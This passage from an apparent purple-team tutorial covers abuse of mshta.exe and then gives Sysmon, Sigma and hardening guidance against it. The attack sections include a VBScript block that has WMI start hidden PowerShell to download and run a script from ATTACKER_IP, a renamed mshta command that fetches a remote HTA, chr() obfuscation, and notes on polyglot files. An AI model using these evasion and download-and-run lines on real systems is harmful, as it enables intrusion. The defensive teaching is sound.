GetObject("script:http://...") makes Windows fetch and execute the JScript inside that scriptlet. mshta.exe is just the engine; the payload format is portable across other LolBin hosts too.


Flow diagram tracing the fileless mshta attack chain from trigger through inline vbscript moniker to in-memory PowerShell stage and reverse shell callback
No HTA file touches disk – the entire payload rides the command line into mshta.exe memory, with the only artifacts being Event 4688 command-line logs and the outbound network connection.

6. Process-Chain Manipulation via WMI

Naive detection rules look for mshta.exe parent with powershell.exe, cmd.exe, wscript.exe children. Fine catch for lazy operators. Anyone with a WMI primitive shrugs it off.

Replace the oShell.Run in the HTA with a WMI Win32_Process.Create call. The resulting powershell.exe is parented by WmiPrvSE.exe, not by mshta.exe. The parent-child rule misses it cleanly.

' Inside the HTA script block - WMI process spawn
Dim oWMI, oProcess, pid
Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
Set oProcess = oWMI.Get("Win32_Process")
oProcess.Create "powershell.exe -NoP -W Hidden -Command IEX((New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8080/stage2.ps1'))", Null, Null, pid
self.close

Run this variant and watch in Sysmon: mshta.exe shows up as Event 1, then WmiPrvSE.exe spawns powershell.exe. The parent-process linkage is broken. This is exactly why the detection strategy in Section 8 leans on the mshta.exe Event 1 plus the WMI activity log (Event 5861), not solely on parent-child rules.


Illustration of a puppet cutting its strings from one controller and reattaching to another, symbolizing WMI process chain manipulation breaking parent-child attribution
WMI Win32_Process.Create re-parents the spawned PowerShell under WmiPrvSE.exe, severing the visible mshta lineage and defeating parent-child detection rules.

7. Obfuscation: chr() Reassembly, Renamed Binaries, Polyglots

Strings like WScript.Shell and powershell in a command line are detection low-hanging fruit. Trivial to obfuscate.

' Reassemble "WScript.Shell" from character codes
Dim s
s = Chr(87) & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & _
    Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
Set o = CreateObject(s)
o.Run "calc.exe", 0, False

Same trick works in JScript with String.fromCharCode. Combine with Base64-encoded PowerShell (-EncodedCommand) and the command line stops matching keyword rules.

Renamed copies are another classic. Copy mshta.exe somewhere user-writable as update.exe:

copy C:\Windows\System32\mshta.exe %TEMP%\update.exe
%TEMP%\update.exe http://ATTACKER_IP:8080/payload.hta

Any Sigma rule keyed purely on Image|endswith: '\mshta.exe' misses this. You need OriginalFileName: 'MSHTA.EXE' in the selection, which reads it from the PE version resource and survives renames.

Polyglots take it further. Because mshta.exe skips data it does not understand, you can append HTA script to the end of a legitimate file (image, PE, RTF) and mshta.exe will dutifully find and run the script. The file passes as the original format to anything that only checks the magic bytes.


8. Detection Engineering

Now turn Sysmon on in the lab, install the SwiftOnSecurity baseline config, replay every variant above, and confirm each rule fires.

# Sysmon install (run as admin)
Sysmon64.exe -accepteula -i sysmonconfig-export.xml

The events that matter for mshta.exe:

Event IDSourceWhat to watch
1Sysmon Process CreateImage ends \mshta.exe or OriginalFileName = MSHTA.EXE; CommandLine contains URLs, vbscript:, javascript:, .sct, about:
3Sysmon Network ConnectAny outbound connection where Image ends \mshta.exe. Treat as high-fidelity.
7Sysmon Image Loadmshta.exe loading clr.dll or PowerShell DLLs is anomalous
11Sysmon File CreateFiles written by mshta.exe in %TEMP%, %APPDATA%, Downloads
4688Security (Audit Process Creation + command-line auditing on)Same surface as Sysmon 1 for environments without Sysmon
4104PowerShell/OperationalScript Block Logging captures the deobfuscated PowerShell spawned by mshta
5861WMI-Activity/OperationalWin32_Process.Create calls used to break process chain

Turn on command-line auditing first. Without it, Event 4688 is useless for this technique.

GPO: Computer Configuration > Administrative Templates > System >
     Audit Process Creation > Include command line in process creation events: Enabled

Sigma rules

Start with two rules that together catch most of what we did above. Tune later.

Rule 1: mshta with network indicators or script monikers. This is the SigmaHQ proc_creation_win_mshta_http-style rule, broadened to cover renamed copies and inline monikers.

title: Suspicious mshta.exe Command Line
id: 6c1b2f1e-lab-0001
status: experimental
description: mshta.exe invoked with a remote URL, inline script moniker, or COM scriptlet.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    - Image|endswith: '\mshta.exe'
    - OriginalFileName: 'MSHTA.EXE'
  selection_cli:
    CommandLine|contains:
      - 'http://'
      - 'https://'
      - 'ftp://'
      - 'vbscript:'
      - 'javascript:'
      - '.sct'
      - 'about:'
      - 'GetObject('
  condition: selection_img and selection_cli
fields:
  - Image
  - OriginalFileName
  - CommandLine
  - ParentImage
level: high
tags:
  - attack.defense_evasion
  - attack.execution
  - attack.t1218.005

Rule 2: suspicious child of mshta.exe. Catches the direct mshta -> powershell/cmd/wscript lineage. Will not catch the WMI-broken chain, which is what Rule 3 is for.

title: Suspicious Child Process of mshta.exe
id: 6c1b2f1e-lab-0002
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\mshta.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
      - '\cmd.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\regsvr32.exe'
      - '\bitsadmin.exe'
      - '\rundll32.exe'
  condition: selection
level: high
tags:
  - attack.execution
  - attack.t1218.005

Rule 3: mshta making any network connection. Sysmon Event 3 only. In a clean enterprise environment, mshta.exe should almost never talk to the network. Tune by your own baseline.

title: mshta.exe Outbound Network Connection
id: 6c1b2f1e-lab-0003
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Image|endswith: '\mshta.exe'
  filter_local:
    DestinationIp|startswith:
      - '10.'
      - '192.168.'
      - '172.16.'
  condition: selection and not filter_local
level: high
tags:
  - attack.command_and_control
  - attack.t1218.005

A useful tell from the field: when mshta.exe‘s command line ends with the GUID {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}, it was launched interactively, which means the user double-clicked an HTA file in Explorer. Parent will be explorer.exe. That GUID is a free, very high-fidelity signal that someone just opened an HTA from the desktop or Downloads. Alert on it. Triage every hit.

Suspicious parent processes regardless of command line: winword.exe, excel.exe, outlook.exe, powerpnt.exe, chrome.exe, msedge.exe, firefox.exe. Office spawning mshta.exe is a phishing signature; browsers spawning mshta.exe means a user just clicked an mshta:-handler link or accepted a download prompt.


Hierarchy diagram showing four detection layers under mshta.exe activity: process creation, network connect, WMI activity, and script block logging, each with specific rule targets
Layered detection across four telemetry sources is required because no single event covers renamed binaries, broken process chains, and inline monikers simultaneously.

9. Hardening

Detection is necessary. Removing the attack surface is better. In priority order:

  1. WDAC (Windows Defender Application Control). When any WDAC policy is deployed, even an allow-all policy in audit mode, HTA execution is blocked outright. This is the cleanest mitigation Microsoft offers, full stop.
  2. AppLocker. Add Executable Rules denying %SystemRoot%\System32\mshta.exe and %SystemRoot%\SysWOW64\mshta.exe. Add Script Rules denying *.hta. AppLocker does not catch renamed copies as cleanly as WDAC, but it raises the bar.
  3. Remove the .hta file association. Via GPO, redirect or delete the htafile ProgID so double-clicking an HTA no longer invokes mshta.exe. Phishing payloads that depend on the user double-clicking break instantly.
  4. Egress filtering. Block outbound HTTP/HTTPS from mshta.exe at the proxy. Legitimate mshta.exe use in modern enterprises is almost always local HTAs invoked by an internal line-of-business app. The signature there is consistent path, consistent user, no network.
  5. ASR rules. Block execution of potentially obfuscated scripts (GUID 5BEB7EFE-FD9A-4556-801D-275E5FFC04CC) and Block JavaScript or VBScript from launching downloaded executable content (GUID D3E037E1-3EB8-44C8-A917-57927947596D). Verify GUIDs against current Microsoft Learn before deploying; Microsoft has rotated and renamed ASR rules over time.
  6. PowerShell Script Block Logging (Event 4104). Required to catch deobfuscated stage-two payloads spawned by mshta.
  7. Disable VBScript. On modern Windows builds, VBScript is an on-demand optional feature; remove it where business requirements allow. Microsoft is on a published path to retiring VBScript outright.

10. Tools

ToolUseLink
python3 -m http.serverHost the HTA / SCT for fetchpython.org
netcat / rlwrap ncCatch the reverse shellnmap.org
Metasploit multi/handlerAlternative listener; pairs with msfvenom-generated stagersmetasploit.com
Sysmon + SwiftOnSecurity configProcess, network, and image load telemetrysysinternals.com
Process Hacker / Process MonitorWatch mshta.exe COM loads and child spawns liveprocesshacker.sourceforge.io
WiresharkConfirm outbound from mshta.exe and stage-two beaconswireshark.org
Sigma + sigmacConvert the rules above to your SIEM’s query languagegithub.com/SigmaHQ/sigma
Atomic Red Team T1218.005Pre-built atomics to replay every variantatomicredteam.io

11. ATT&CK Mapping

TechniqueMITRE IDDetection
System Binary Proxy Execution: MshtaT1218.005Sysmon 1 on mshta.exe with suspicious command line; Sysmon 3 outbound
System Binary Proxy ExecutionT1218Parent technique
Command and Scripting Interpreter: Visual BasicT1059.005Script Block Logging, 4104; VBScript engine load
Command and Scripting Interpreter: JavaScriptT1059.007Same surface, JScript engine
Phishing: Spearphishing AttachmentT1566.001Office or mail client parents spawning mshta.exe
Phishing: Spearphishing LinkT1566.002Browser parents spawning mshta.exe with .hta URL
Obfuscated Files or InformationT1027chr()/Base64/concat patterns in command line
Windows Management InstrumentationT1047WMI-Activity Event 5861, Win32_Process.Create from mshta script

Tactics: TA0005 Defense Evasion (primary), TA0002 Execution.


Summary

  • mshta.exe is a Microsoft-signed script host that ignores browser security and ships on every Windows install. Treat any execution of it as an event worth investigating.
  • The attack surface spans on-disk HTA, remote URL fetch, inline vbscript: / javascript: monikers, .sct COM scriptlets via GetObject, ADS, and polyglots; one detection rule will not cover it.
  • WMI Win32_Process.Create from inside the HTA breaks the mshta -> powershell parent-child chain. Detect with WMI-Activity Event 5861, not parent linkage alone.
  • Build layered Sigma coverage: command-line indicators, suspicious child processes, and any outbound network connection from mshta.exe. Alert on the interactive-launch GUID {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}.
  • The cleanest mitigation is WDAC, which blocks all HTA execution even in audit mode. AppLocker rules, removing the .hta association, and ASR rules round out the hardening.

Related Tutorials